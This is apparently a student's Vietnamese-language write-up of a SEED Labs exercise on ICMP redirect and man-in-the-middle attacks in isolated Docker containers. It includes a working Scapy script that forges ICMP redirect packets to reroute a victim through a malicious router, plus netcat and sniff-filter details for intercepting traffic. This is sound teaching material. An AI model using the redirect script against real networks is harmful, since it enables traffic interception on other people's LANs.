$ docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES0030bf2c9911 handsonsecurity/seed-ubuntu:large "bash -c ' ip route …" 33 minutes ago Up 28 minutes router7eee97fd4628 handsonsecurity/seed-ubuntu:large "bash -c ' ip route …" 33 minutes ago Up 28 minutes host-192.168.60.5865e70233a1f handsonsecurity/seed-ubuntu:large "bash -c ' ip route …" 33 minutes ago Up 28 minutes host-192.168.60.6735562dfb00a handsonsecurity/seed-ubuntu:large "bash -c ' ip route …" 33 minutes ago Up 28 minutes victim-10.9.0.583311314ff61 handsonsecurity/seed-ubuntu:large "bash -c ' ip route …" 33 minutes ago Up 28 minutes attacker-10.9.0.10533db196f6b57 handsonsecurity/seed-ubuntu:large "bash -c ' ip route …" 33 minutes ago Up 28 minutes malicious-router-10.9.0.111
Attacker container và malicious router có mount thư mục volumes như sau:
volumes: - ./src:/volumes
Cả hai đều có thiết lập privileged: true nhằm cho phép chỉnh sửa các tham số kernel.
Task 1: Launching ICMP Redirect Attack
Trong task này, ta sẽ tấn công victim container bằng gói tin ICMP redirect1 nhằm khiến cho nó sử dụng malicious router để truy cập vào mạng 192.168.60.0/24.
File Docker Compose đã cấu hình để victim container chấp nhận các gói tin ICMP redirect bởi vì theo mặc định, Ubuntu 20.04 không chấp nhận các gói tin này:
sysctls: - net.ipv4.conf.all.accept_redirects=1
Ta cũng có thể bật lên thông qua câu lệnhsysctl như sau:
sysctl net.ipv4.conf.all.accept_redirects=1
Theo thiết lập hiện tại, victim container sử dụng router với interface có IP là 10.9.0.11 để truy cập vào mạng 192.168.60.0/24. Bảng định tuyến của victim container:
$ docker exec -it 73 ip routedefault via 10.9.0.1 dev eth0 10.9.0.0/24 dev eth0 proto kernel scope link src 10.9.0.5 192.168.60.0/24 via 10.9.0.11 dev eth0
Cũng có thể dùng câu lệnh mtr (My Traceroute, là sự kết hợp của ping và traceroute) để hiển thị đường đi đến host nào đó (chẳng hạn 192.168.60.5) theo thời gian thực:
Sử dụng script sau để gửi gói tin ICMP redirect từ attacker container:
from scapy.all import *from scapy.layers.inet import IP, ICMPIP_VICTIM = "10.9.0.5"IP_ATTACKER = "10.9.0.105"IP_MALICIOUS_ROUTER = "10.9.0.111"IP_ROUTER = "10.9.0.11"IP_TARGET = "192.168.60.5"ip = IP(src=IP_ROUTER, dst=IP_VICTIM)icmp = ICMP(type=5, code=1)icmp.gw = IP_MALICIOUS_ROUTER# The enclosed IP packet should be the one that# triggers the redirect message.ip2 = IP(src=IP_VICTIM, dst=IP_TARGET)redirect_pkt = ip / icmp / ip2 / ICMP()send(redirect_pkt)
Note
Cần lưu ý là các gói tin ICMP redirect không thực sự thay đổi bảng định tuyến mà chỉ thay đổi bộ đệm định tuyến (routing cache). Các entry trong bộ đệm sẽ ghi đè các entry trong bảng định tuyến đến khi nào nó hết hạn.
Kiểm tra routing cache bằng câu lệnh sau:
ip route show cache
Để xóa routing cache thì dùng lệnh:
ip route flush cache
Khi gửi gói tin thì routing cache không có gì thay đổi.
Lý do là vì kernel của hệ điều hành sẽ không chấp nhận các gói tin ICMP redirect nếu nó không gửi gói tin ICMP nào. Hệ điều hành phát hiện ra điều này bằng cách kiểm tra các trường ở trong ip2. Mức độ nghiêm khắc của việc kiểm tra tùy thuộc vào hệ điều hành.
Để tấn công thành công, chúng ta cần ping từ victim container đến host 192.168.60.5 trước khi gửi gói tin ICMP redirect.
Thực hiện ping từ victim container đến host 192.168.60.5:
root@aa0b1e32e550:/# ping 192.168.60.5
Sau đó chạy script.
Kết quả, routing cache đã có thêm một entry như sau:
root@aa0b1e32e550:/# ip route show cache192.168.60.5 via 10.9.0.111 dev eth0 cache <redirected> expires 298sec
Điều này cho thấy ta đã thực hiện tấn công thành công.
Sau đây là một số thí nghiệm:
Question 1
Can you use ICMP redirect attacks to redirect to a remote machine? Namely, the IP address assigned to icmp.gw is a computer not on the local LAN. Please show your experiment result, and explain your observation.
Thay icmp.gw thành 192.168.60.5 thì không tấn công thành công.
Question 2
Can you use ICMP redirect attacks to redirect to a non-existing machine on the same network? Namely, the IP address assigned to icmp.gw is a local computer that is either offline or non-existing. Please show your experiment result, and explain your observation
Thực hiện 2 thí nghiệm sau:
Thay icmp.gw thành 10.9.0.222: không tấn công thành công.
Tắt malicious router và thay icmp.gw thành 10.9.0.111: tấn công thành công.
Question 3
If you look at the docker-compose.yml file, you will find the following entries for the malicious router container. What are the purposes of these entries? Please change their value to 1, and launch the attack again. Please describe and explain your observation.
root@8c7681fa7390:/# ip routedefault via 10.9.0.1 dev eth0 10.9.0.0/24 dev eth0 proto kernel scope link src 10.9.0.111 192.168.60.0/24 via 10.9.0.11 dev eth0
Từ bảng định tuyến trên, ta biết rằng malicous router có thể chuyển hướng các gói tin đi từ victim container đến mạng 192.168.60.0/24 sang router ban đầu. Để ngăn chặn điều này, ta cần dùng các cấu hình trên.
Bật các cấu hình trên lên và tấn công. Kết quả: không thành công.
Task 2: Launching the MITM Attack
Task này yêu cầu chỉnh sửa các gói tin TCP (Netcat) đi qua malicious router (với điều kiện là đã tấn công ICMP redirect thành công).
Chạy Netcat server và Netcat client:
On the destination container 192.168.60.5, start the netcat server:# nc -lp 9090On the victim container, connect to the server:# nc 192.168.60.5 9090
Tắt tính năng IP forwarding ở trên malicious router:
In the MITM program, when you capture the nc traffics from A (10.9.0.5), you can use A’s IP address or MAC address in the filter. One of the choices is not good and is going to create issues, even though both choices may work. Please try both, and use your experiment results to show which choice is the correct one, and please explain your conclusion.
Khi sử dụng filter có bao gồm địa chỉ IP của victim container:
f = f'tcp and ip src 10.9.0.5'
Malicious router sẽ bắt tất cả các gói tin có địa chỉ IP nguồn là 10.9.0.5, bao gồm cả gói tin mà nó chuyển tiếp. Dẫn đến, với mỗi gói tin mà nó chuyển tiếp, nó lại thực hiện chuyển tiếp gói tin một lần nữa.
Trong hình trên, gói tin 373 được đánh dấu là “Spurious Retransmission”] cho biết đây là gói tin chuyển tiếp giả mạo (thực ra là trùng lặp với gói tin 371).
Khi sử dụng filter có bao gồm địa chỉ MAC của victim container:
f = f'tcp and ether src 02:42:0a:09:00:05'
Thì vấn đề trên không xảy ra. Lý do là vì địa chỉ MAC trong gói tin chuyển tiếp là của malicious router và do đó mà nó không khớp với filter.